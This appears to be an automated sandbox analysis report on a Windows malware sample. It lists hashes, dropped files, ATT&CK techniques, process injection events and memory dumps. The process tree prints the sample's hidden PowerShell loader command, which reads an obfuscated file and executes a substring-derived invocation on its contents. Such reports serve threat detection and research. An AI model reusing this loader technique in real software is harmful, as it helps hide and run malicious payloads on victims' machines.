8ed91c8de844e9e8e083719b6a931516902773a7d7f7d5fccb9874180c9a886c

Resubmissions

21/06/2024, 17:47

240621-wdak4syenc10

17/06/2024, 01:02

240617-bd377swhrc10

Analysis

max time kernel
51s
max time network
58s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17/06/2024, 01:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe
Size 824KB
Sample240617-bd377swhrc
SHA256 0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99
MD5 557d44cc5e33ac15ef0b659e5e58433d
SHA1 389c0e121ee86c95c31915b54489e278a800b76d
SHA512 ed6cfd791b7367f065c4f278d70288961bd01de010648776be6351aec2822b3080b72343cff5a8ab6d73a5131b73a02d03a3274f8b98cdf2433191a50e8596b4
SSDEEP 12288:0Y4eAXsAvV7ihwdVUuRhnMLCke0euDme6ocbosxyc:EeAXsmV7Ywk+n0Cz0sEc0cv
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3632	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe
3632	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\kongepingvin\hordernes.ini	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\swarajes.ini	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe
File opened for modification	C:\Program Files (x86)\Common Files\lejesvendene\eigils.vri	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rnefolkenes\Easiest.cas	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1100	2960	WerFault.exe	85

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 2960	3632	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe	85
PID 3632 wrote to memory of 2960	3632	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe	85
PID 3632 wrote to memory of 2960	3632	0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe	85
PID 2960 wrote to memory of 4988	2960	powershell.exe	87
PID 2960 wrote to memory of 4988	2960	powershell.exe	87
PID 2960 wrote to memory of 4988	2960	powershell.exe	87

C:\Users\Admin\AppData\Local\Temp\0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe
"C:\Users\Admin\AppData\Local\Temp\0d63eafe7f4eebd3b782dd262da6fa3e562c420e0ecfff540ee1a9c5a76b0f99.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$daler=Get-Content 'C:\Users\Admin\AppData\Roaming\askefllesgrave\restsaldos\ferskenblde\Flageolettens.Tre';$Spaltegruppers=$daler.SubString(53832,3);.$Spaltegruppers($daler)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:4988
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2960 -s 2612
    3⤵
    - Program crash
    PID:1100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2960 -ip 2960
1⤵
PID:4748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_uazgfewj.2bh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uazgfewj.2bh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

BgImage.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq6245.tmp\BgImage.dll
Size 7KB
SHA256 a45f294137e2b0f6092eee8fdd2e19334f34ff3640d865a810b70f2104e92c21
MD5 ee255bdf426349e1caa8f1b71de9fd22
SHA1 d589773826620046df1d77dd148f819a88dd35ec
SHA512 71eeb41b5816b7d0f9517264aaf026da878561b6a222064c8100e47c383de9ac369800b734468322f3a6fc3eedb1a23d3c5ca6874bd7bf84af08f395248872cc
SSDEEP 96:8ePik1LFJaO1/radJEaYtv1Zs4lkL8y3A2EN8Cmy3uTc4j7J3kWyy/:tPdTJa2roqJyA2EN8diuTJje
MD5 SHA1 SHA512 SSDEEP

Submit Download

nsDialogs.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq6245.tmp\nsDialogs.dll
Size 9KB
SHA256 be60a00f32924ccbe03f9914e33b8e1ad8c8a1ca442263a69896efba74925b36
MD5 dbdbf4017ff91c9de328697b5fd2e10a
SHA1 b597a5e9a8a0b252770933feed51169b5060a09f
SHA512 3befc15aab0a5dbe7fde96155b0499d385f2799b1a2d47ce04f37b5804006b1c6c4fff93d3cedb56a2a8172b23752b6f9dc6168cfce3596b91def3247836cf10
SSDEEP 96:33YnIxFkDUGZpKSmktse3GpmD8pevbE9cxSgB5PKtAtYE9v5E9KntrmfVEB3YdkS:33YIvGZDdtP8pevbg0PuAYK56NyoIFI
MD5 SHA1 SHA512 SSDEEP

Submit Download

Flageolettens.Tre

Path C:\Users\Admin\AppData\Roaming\askefllesgrave\restsaldos\ferskenblde\Flageolettens.Tre
Size 52KB
SHA256 e7e1e59adc2b7e891bcbb99e4b173cbee68faddae8552e38d6fcfc2030768a0b
MD5 ca42ddceff86dee876c99f9822f7d7db
SHA1 56cb3ae7a062e05284377ff65d394e374c3ed3cc
SHA512 81a653e49dc29aeeff30fc0f1175352d947159516f48734f8f228025ac1d7b4cf01ec02e272f34b518fbc921bd3d0fc9928713b60d6489040ed364464b09470b
SSDEEP 1536:SVZ4tNXjuTVjC7GYMy/gM1cjmLwzv1TjmwqseTNOLe:SZ6NzEV0T9W7BmwreTNOLe
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2960-32-0x0000000073740000-0x0000000073EF0000-memory.dmp

Download

memory/2960-48-0x0000000005D90000-0x0000000005DDC000-memory.dmp

Download

memory/2960-33-0x0000000073740000-0x0000000073EF0000-memory.dmp

Download

memory/2960-34-0x0000000004B10000-0x0000000004B32000-memory.dmp

Download

memory/2960-35-0x00000000053F0000-0x0000000005456000-memory.dmp

Download

memory/2960-36-0x0000000005460000-0x00000000054C6000-memory.dmp

Download

memory/2960-30-0x00000000024D0000-0x0000000002506000-memory.dmp

Download

memory/2960-46-0x00000000054D0000-0x0000000005824000-memory.dmp

Download

memory/2960-47-0x0000000005B80000-0x0000000005B9E000-memory.dmp

Download

memory/2960-31-0x0000000004D50000-0x0000000005378000-memory.dmp

Download

memory/2960-49-0x00000000060B0000-0x0000000006146000-memory.dmp

Download

memory/2960-50-0x0000000006060000-0x000000000607A000-memory.dmp

Download

memory/2960-51-0x0000000006150000-0x0000000006172000-memory.dmp

Download

memory/2960-52-0x00000000071A0000-0x0000000007744000-memory.dmp

Download

memory/2960-29-0x000000007374E000-0x000000007374F000-memory.dmp

Download

memory/2960-54-0x0000000007DD0000-0x000000000844A000-memory.dmp

Download

memory/2960-56-0x0000000073740000-0x0000000073EF0000-memory.dmp

Download